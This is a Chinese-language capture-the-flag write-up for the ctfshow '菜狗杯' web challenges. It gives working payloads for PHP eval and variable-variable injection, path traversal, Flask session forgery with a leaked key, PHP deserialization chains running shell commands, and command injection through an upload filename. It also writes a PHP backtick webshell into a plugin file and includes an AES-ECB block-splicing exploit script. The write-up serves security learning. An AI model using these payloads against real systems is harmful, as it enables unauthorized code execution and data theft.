【CTF-web】CTFshow 菜狗杯
1. web签到
eval(
$_REQUEST[
$_GET[
$_POST[
$_COOKIE['CTFshow-QQ群:']
]
]
]
[6][0][7][5][8][0][9][4][4]
)
1)分析代码:
eval执行一个函数,不过传入的是嵌套数组,例如a[1][1]意思是取a的第二行二列([0][0]是第一行第一列)。这里不过是很多维,注意代码肯定要先计算出各个下标:
$_COOKIE['CTFshow-QQ群:']
:取”CTFshow-QQ群:“的cookie值。那令”CTFshow-QQ群:“ = a,换参代码就变成了$_COOKIE[a]
$_POST[a]
:获取表单中输入的”a“,令$_POST[a]=b$_GET[b]
:这就是网址中通常输入的?id=1的那一部分
,令$_GET[b]=c$_REQUEST[c]
:$_REQUEST默认会依次尝试执行get[c]、post[c]和cookie[c]成功为止。,整句话意思是获取到c的值,即此时返回了键为‘c'的多维数组结合所有代码就成了
eval(c[6][0][7][5][8][0][9][4][4])
,执行c这个多维数组的第6行第0列第7……上定义的语句
2)思路:
直接令
c[6][0][7][5][8][0][9][4][4]=system(‘ls’);
然后让$的最终结果为c,就能执行语句了。从COOKIE开始下手,在hackbar手动让'CTFshow-QQ群:'的值=a,其中的中文”群“字要URL编码一下。这样
$_COOKIE['CTFshow-QQ群:']
得到的就是apost要更改一下方法,然后让a=b。
$_POST[$_COOKIE['CTFshow-QQ群:']]]
的结果是bget的赋值很熟悉:?b=c。
$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]
的结果是crequest['c']得到的就是名字为c的变量
不过此时的c还没赋值,再
c[6][0][7][5][8][0][9][4][4]=system(‘ls’);
就大功告成了。
2. web2 c0me_t0_s1gn
【f12】得到前半部分
控制台执行
g1ve_flag()
得到第二部分,注意是1不是i
3. 我的眼里只有$
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
$_POST会返回一个关联数组(类似python中的字典)例如提交key=echo "Hello, World!";
$_POST
数组会包含array("key" => 'echo "Hello, World!";')
extract是将关联数组中的key和value提取出来,作为直接的变量。上式就变成
key=echo "Hello, World!"
php变量用$变量名,这里第一个变量就是$_。举例如果a=b,$_=a,那么$$_=$a=b。
思路就是将最后的$($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_)
=system("ls /")
,然后就能正常eval了。
统计一下有多少个$,有几个就要几次赋值
s = "$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_"
count = s.count("$")
print(count)
// 36
要把前三十五个都传入值,剩下一个是传执行指令的值。先要给: $_=a,再要 $_=a & $a=b……第三十六次$_=a & $a=b & $b=c & ...=n & $n=system,这样传到最后才是$n=system,(不过由于extract函数,传入的a=>b,得到的是$a=b,就不用写$了。最终传入的是
_=a&a=b&b=c...&m=n&n=system("ls /")
为什么不写个脚本呢:
s = '_=a0&' # 1次用来定义
for i in range(1, 35): # 34次循环,考虑到第一次的0-1=-1不合适,从1开始循环
s+='a' + str(i-1) + '=' + 'a' + str(i) + '&'
print(s)
//_=a0&a0=a1&a1=a2&a2=a3&a3=a4&a4=a5&a5=a6&a6=a7&a7=a8&a8=a9&a9=a10&a10=a11&a11=a12&a12=a13&a13=a14&a14=a15&a15=a16&a16=a17&a17=a18&a18=a19&a19=a20&a20=a21&a21=a22&a22=a23&a23=a24&a24=a25&a25=a26&a26=a27&a27=a28&a28=a29&a29=a30&a30=a31&a31=a32&a32=a33&a33=a34&
36-1-34=1,这多出一次的还有在最后稍加改造:33=a34&a34=system("ls /");
post传入得到回显(在最上面)。
4. 抽老婆
点击下载会跳到
https://ffd7c594-0b76-4eec-9195-06cd12f186b0.challenge.ctf.show/download?file=b9824b679655451ebf709707a940b4fb.jpg
,尝试把file后面的东西改成flag,不过失败;但是改成一个不存在的会跳转到:注意到上面的,下载它试试
https://ffd7c594-0b76-4eec-9195-06cd12f186b0.challenge.ctf.show/download?../../app.py
看到下面密钥和代码就有思路了,尝试获取’isadmin'的session
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
if session['isadmin']:
return jsonify({"msg":flag})
else:
return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})
可使用flask-unsign工具:
flask-unsign --sign --cookie "{'isadmin': True}" --secret 'tanji_is_A_boy_Yooooooooooooooooooooo!'
得到session,到网站用hackbar替换cookie中的session即可。
5. 一言既出
assert()断言:简单理解就是当不满足括号条件就会抛出异常
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
先判断num是否==1919810,如果不等的话继续判断die,当然这里直接结束了。
所以思路就是让num==1919810,但是怎么可能num又=114514又=1919810呢,(雾
类似于sql注入,直接注释掉后面的,有?num=114514);//
原代码成了assert("intval(114514)
//)==1919810") or die("一言既出,驷马难追!");
它似乎没有语法错误(至少编辑器不会报错),但引号似乎没闭合,不过执行时到114514就结束了
再额外提一嘴,assert能正常使用,不过因为有”“的缘故,还会爆出一个错误。
6. 驷马难追
function check($str){
return !preg_match("/[a-z]|\;|\(|\)/",$str);
}
它的作用是检查传入的字符串是否包含小写字母、分号或括号。
if (isset($_GET['num'])){
if ($_GET['num'] == 114514 && check($_GET['num'])){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}
也就是上一题的思路不起作用了,我们必须找出一个num既==114514,又在intval后==1919810的值。
==为弱比较,即114514abc
同样为true
在assert中的表达式会被计算
+会被过滤要用url编码一下%2b
综上?num=114514%2b1919810-114514
7. TapTapTap
看一遍源代码发现,当level>20时会:
其中的atop作用是:base64编码;相应的还有一个btop的功能就是解码。
不过我们直接用其他工具即可。
得到Your flag is in /secret_path_you_do_not_know/secretfile.txt
直接访问即可。
8. Webshell
<?php
error_reporting(0); # 关闭错误报告
class Webshell {
public $cmd = 'echo "Hello World!"';
public function __construct() { # 调用init
$this->init();
}
public function init() {
if (!preg_match('/flag/i', $this->cmd)) { # 将cmd和正则匹配,不区分大小写flag
$this->exec($this->cmd); # 调用exec,传参为cmd
}
}
public function exec($cmd) {
$result = shell_exec($cmd); # shell_exec执行cmd,然后把结果作为字符串返回给result
echo $result;
}
}
if(isset($_GET['cmd'])) {
$serializecmd = $_GET['cmd'];
$unserializecmd = unserialize($serializecmd);
# unserialize:php的反序列化函数,得到原始的内容
$unserializecmd->init();
}
else {
highlight_file(__FILE__);
}
?>
我们如果直接传一个cmd=ls的话,ls会先被反序列化,再将这个结果实例化,最后调用它。
那我们需要先反其道而行之,在本地允许一个ls的序列化结果
<?php
error_reporting(0);
class Webshell
{
public $cmd = 'echo "Hello World!"';
public function __construct()
{
$this->init();
}
public function init()
{
if (!preg_match('/flag/i', $this->cmd)) {
$this->exec($this->cmd);
}
}
public function exec($cmd)
{
$result = shell_exec($cmd);
echo $result;
}
}
if (isset($_GET['cmd'])) {
$serializecmd = $_GET['cmd'];
$unserializecmd = unserialize($serializecmd);
$unserializecmd->init();
} else {
highlight_file(__FILE__);
}
$a = new Webshell(); # 需要序列化一个类,其中它的cmd=ls
$a->cmd = 'ls';
echo serialize($a);
?>
得到序列化的结果是O:8:"Webshell":1:{s:3:"cmd";s:2:"ls";}
再传回网站的get里/?cmd=O:8:"Webshell":1:{s:3:"cmd";s:2:"ls";}
flag.php就近在眼前了,可是直接cat又会被正则匹配到,
那我们也可以用正则的*,通配符*模糊匹配到,将代码中的ls改为cat /f*
,再次序列化
得到O:8:"Webshell":1:{s:3:"cmd";s:9:"cat ./fl*";}
,传到get的cmd即可。
注意flag在注释中,要F12!原因是flag.php没法识别,只能转到html里
9.化零为整
$result=''; // 初始为空
for ($i=1;$i<=count($_GET);$i++){ // <传参数量
if (strlen($_GET[$i])>1){ // 会遍历每个get[1],get[2]...
die("你太长了!!");
}
else{
$result=$result.$_GET[$i];
}
}
if ($result ==="大牛"){
echo $flag;
}
显然目标是将result赋为”大牛“。
不过strlen不能很好的处理中文,如果以utf-8编码,每个汉字占三个,如一的编码%E4%B8%80
如果以GB2312,就是两倍了,如一的编码%D2%BB
不管这么多,我们将大牛url编码:%E5%A4%A7%E7%89%9B
,每个%会被当做一个字符,判断为false
那么payload为:?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
10. 无一幸免
if (isset($_GET['0'])){ // 给传入的'0'=abc
$arr[$_GET['0']]=1; // 数组arr下标为abc赋上1
if ($arr[]=1){ # 再在arr最后赋上一个1,判断赋值是否成功
die($flag);
}
else{
die("nonono!");
}
}
意思是如果成功在arr数组的最后赋上1的操作成功,就输出flag
?0=1
正常令'0'赋上一个正常值即可
11. 传说之下(雾)
看到这种达到关数/分数的题,先搜索level/score等。
这里搜到socre
先打上个断点,刷新页面重新加载,再手动改这个值为2077,保存,继续执行代码,再吃一个苹果,到控制台就有flag了。
12*. 算力超群
13*. 算力升级
反弹shell不成功
14. easyPytHon_P
from flask import request # flask框架在python里
cmd: str = request.form.get('cmd') # .form.get是post请求,.args.get才是get
param: str = request.form.get('param') # 分别是cmd和param的获取
# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
import subprocess, os
if cmd is not None and param is not None: # 两个变量不能为空
try:
tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
# subprocess.run:执行语句。
# 截取cmd的前三个字符作为要执行的命令,命令的参数为param,执行的地址已经写好了是__file__
# os.getcwd():获取当前工作目录
# 延迟五秒
print('Done!')
except subprocess.TimeoutExpired: # 运行超时
print('Timeout!')
except: # 其他异常
print('Error!')
else:
print('No Flag!')
用post传入cmd作为执行的命令,param作为执行的参数即可:
15. 遍地飘零
$zeros="000000000000000000000000000000"; # 给zeros赋上好多零,不过后续并没有用上
foreach($_GET as $key => $value){ # $_GET就是获取一个key和value,然后不断循环
$$key=$$value; # 我如果输入的是?id=123,那就会$id=$123,id就成了一个程序的一个变量,而$123又没有赋值,所以会报错Notice: Undefined variable: 123 in /var/www/html/index.php on line 8
}
if ($flag=="000000000000000000000000000000"){
echo "好多零";
}else{
echo "没有零,仔细看看输入有什么问题吧";
var_dump($_GET); # 显示传入数据的类型和值,如:$a = 1 ;var_dump($a);输出int(1)
}
总览整段代码,flag只可能会var_dump时输出:
所以要尝试
var_dump($flag)
所以要让$_GET等于的是$flag
$$key=$$value
把其中的$key换成_GET,把$value换成flagpayload:
?_GET=flag
从头捋一下:当传入?_GET=flag
时,$_GET as $key => $value
获取到了?_GET=flag
,然后打上$,变成了$_GET=$flag
,此时的$flag就是真正的答案,到var_dump($_GET)
-> var_dump($flag)
->string(45) "ctfshow{f90b7f9b-5f90-45be-b07d-eb606bdb3038}"
16. 茶歇区
似乎食物和饮料有数据大小的限制,这里只关注于咖啡。
当输入一个非常大的数字时竟然兑换成功了,考虑到可能是int64 :-9223372036854775808-9223372036854775807
(十九位数)的数据范围,而且咖啡的价格要乘十,可以尝试当输入
922337203685477580 (把最后的7删除)
当再乘10还是在数据范围以内,所以程序正常,不能成功兑换。
922337203685477581 (删去7后把0改为1)
这时再乘10就爆int了,也就兑换成功了.
只要多尝试几次大数兑换,分数就爆到114514了。。。,而且根据经验,兑换一个十八位数,而且前几位上改动几个数字容易得到flag,如992337203685477580(把7删除后,再把最前面的2改成9)
两次就出flag了
17. 小舔田?
<?php
include "flag.php";
highlight_file(__FILE__);
class Moon{
public $name="月亮";
public function __toString(){
return $this->name;
}
public function __wakeup(){
echo "我是".$this->name."快来赏我";
}
}
class Ion_Fan_Princess{
public $nickname="牛夫人";
public function call(){
global $flag;
if ($this->nickname=="小甜甜"){
echo $flag;
}else{
echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
}
}
public function __toString(){
$this->call();
return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
}
}
if (isset($_GET['code'])){
unserialize($_GET['code']);
}else{
$a=new Ion_Fan_Princess();
echo $a;
}
知识点:
echo不能直接输出一个对象,不过对象中如有__toString,则调用这个魔术方法输出
unserialize() 中如果存在,会先调用 wakeup 方法
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。
代码思路显而易见,要输出global $flag;
那么就先要$this->nickname=="小甜甜"
;
可是要echo $flag
的前提是调用call函数;
发现__toString魔法函数会调用它;
什么时候会调用__toString呢?在echo这个Ion_Fan_Princess类时;
怎么echo这个对象呢?Moon的__wakeup()会echo,而且这个魔术方式会自动在反序列化时调用;
最后的问题就是在反序列化前的moon的$this->name的name换成Ion_Fan_Princess类的名字即可
$a = new Ion_Fan_Princess();
$a->nickname="小甜甜";
$b = new Moon();
$b->name = $a;
echo "\n";
echo serialize($b);
最后捋一下:b中的name是a,为的是反序列化时调用wakeup输出b的name:a,而类输出时会调用到其中的toString方法,a的toString又会调用call方法,call中判断nickname,true的话会echo flag,我们只要在a传入b前定义好nickname即可。
18. LSB探姬
首先在题目的主页面已经提示我们,“系统会把执行结果直接返回”,就是结果会直接回显出来
查看源代码
告诉我们flag在/app/flag.py中,而且cmd命令是直接执行的,没有任何限制。
用bp抓包,在原有的语句上添加即可:
Content-Disposition: form-data; name="file"; filename="1.jpg"
改成Content-Disposition: form-data; name="file"; filename="1.jpg; ls"
看到flag.py就在当前目录下,再把ls改成cat flag.py
19. Is_Not_Obfuscate
知识点:
robots.txt:爬虫规则的内容
file_put_contents(a,b) : 文件写入函数,将b内容写入到a中(不存在自动创建)
file_get_contents(a):文件读取函数,读取a文件
查看网页源代码有这两句注释:
<!-- Test the lib.php before use the index.php!-->
<!-- After that,delete the robots.txt!-->
提到了robots.txt,访问试一下。lib.php允许但是没内容,/lib.php?flag=0不允许那就/lib.php?flag=1(不是0就行),得到eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1+/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu+YvM2ht+ZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K+WAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr+NHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz+odPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI+CLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR+x6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf+P097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ+DU5vzz0+doHA+3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw+F7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG+eubaq5t1a5Y3tYJmti6soht26kuF7jUUg+vZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9+kQvcSUbuwuEnWHYzn16/ewTo+gVIqv0+DNJC0YUGs9kWnS2+1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY+MB7L5c4S+5arvpFKn/GN4KvCEWYZ+r7inzI+ng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E+fPm6bO7/jSe+2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c+8ZLOGGQcDJMM5FARuDOfYyh09+M+I1Hdc+bCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu+r1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi+u45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9+w8pT7oT
备用
回到源代码发现还有两条注释:
<!-- //测试执行加密后的插件代码
//这里只能执行加密代码,非加密代码不能执行
eval(decode($_GET['input'])); -->
<!-- <button name="action" value="test"> 执行 (do)</button>-->
第二条注释和它下面两个按钮的格式一致,可以把它取消注释。而第一条注释应该就是给这个按钮的注释:可以尝试执行我们已经得到的加密后的代码。
把它注释符取消后,再将上面一大串代码复制,执行。
跳转到一个新的网页,证明思路没错。
原来value共有三种:test、pull和push,上面的输入框是input,下面的是output。
分别执行三个方法,会相应传入input和output的值作为参数。
不过审阅代码始终没有告诉我们encode和decode函数是如何实现的,聚焦于以下代码。
switch ($_GET['action']){
case 'pull':
$output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
echo "pull success";
break;
case 'push':
$input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
echo "push success";
break;
default:
die('hacker!');
}
第二个push的功能:
将get得到的output(比如?output=123),
后拼接youyou,再经md5加密(123youyouo经过md5的结果是
202cb962ac59075b964b07152d234b70
方便表示还是用123youyou代指);前拼接字符(./plugins/123youyou);这是写入函数file_put_contents的第一个参数,也就是路径及文件名(./plugins/123youyou);
第二个参数是写入文件的具体内容,也就是编码后的output(举例123被编码成456,写入123youyou的内容就是456)
综上这是一个写入函数
第一个pull的功能:
比如?input=123youyou,file_get_contents读取文件./plugins/123youyou的内容
(注意这里并没有自带youyou,访问到刚上传的文件要手动添加)
将读取到的内容456经过解码,又得到123,执行123命令
综上这是一个读取文件并执行的函数
思路就来了,用push函数上传一个echo flag的命令,再由pull调用:
在下面的ouput输入框输入
<?php echo `ls /`;?>
,点击push。注意这里的`是行内代码的``,如果是''只会原封不动的输出”ls /“
此时,./plugins/e31d7b1dfe43749c42490c26deca67a6
(<?php echo ls /;?>youyou
md5后的结果)中的内容为encode后的<?php `ls /`;?>
再在上面的input输入框输入
e31d7b1dfe43749c42490c26deca67a6
,点击pull,得到回显。下面就是cat f1agaaa
的步骤在下面的ouput输入框输入
<?php echo `cat /f1agaaa`;?>
,点击push
<?php echo `cat /f1agaaa`;?> youyou
经md5加密aa47b964e675ae576fa5a3a266afb74f
在上面的input输入
aa47b964e675ae576fa5a3a266afb74f
点击pull。
20*. 龙珠NFT
AES-ECB:分块加密,把原数据等分几块,然后分别加密。
该题意大概就是获取一个密文,要每十六行一分,分别加密
{"player_id": "2
02cb962ac59075b9
64b07152d234b70"
, "dragonball": -> 获得的龙珠号
"1", "round_no": -> 次数
"1", "time":"2
024-07-17 08:06
:47"}
每一行都会分别加密,尽管不知道是如何加密的,但是我们可以在加密前下手
发现如果把第五行删除,dragonball对上的就是次数了,而1到10次显然包含到了1-7
官方exp:
import requests
import json
import base64
import random
url='http://xxxxxxxxxxxxxxxxxxxxxx/'
s=requests.session()
username=str(random.randint(1,100000)) # 随机获得一个username
print(username)
r=s.get(url+'?username='+username)
responses=[]
for i in range(10): # 10次循环将每次获取到的地址追加到responses
r=s.get(url+'find_dragonball') # 调用find_dragonball,跟直接点开始搜索一个效果
responses.append(json.loads(r.text)) # 获取搜索到的json
for item in responses: # 遍历每条信息
data=json.dumps({'player_id':item['player_id'],'dragonball':item['dragonball'],'round_no':item['round_no'],'time':item['time']})
# json格式化
miwen=base64.b64decode(item['address']) # 解码address的值
round_no=item['round_no'] # 第几次
if round_no in [str(i) for i in range(1,8)]: # 只有1-7次能正确获取到龙珠
fake_address=miwen[:64]+miwen[80:] # 扣除第五行
fake_address=base64.b64encode(fake_address).decode() # 先把假地址base64编码,再解码成字符串
r=s.get(url+'get_dragonball',params={"address":fake_address}) # 把假地址传入到验证地址处
r=s.get(url+'flag') # 跳转到flag
print(r.text)
参考
题目:ctf.show
这位师傅写得好:【Loading 19/21】Web_ctfshow_WriteUp | 新手必刷菜狗杯 - Guanz - 博客园 (cnblogs.com)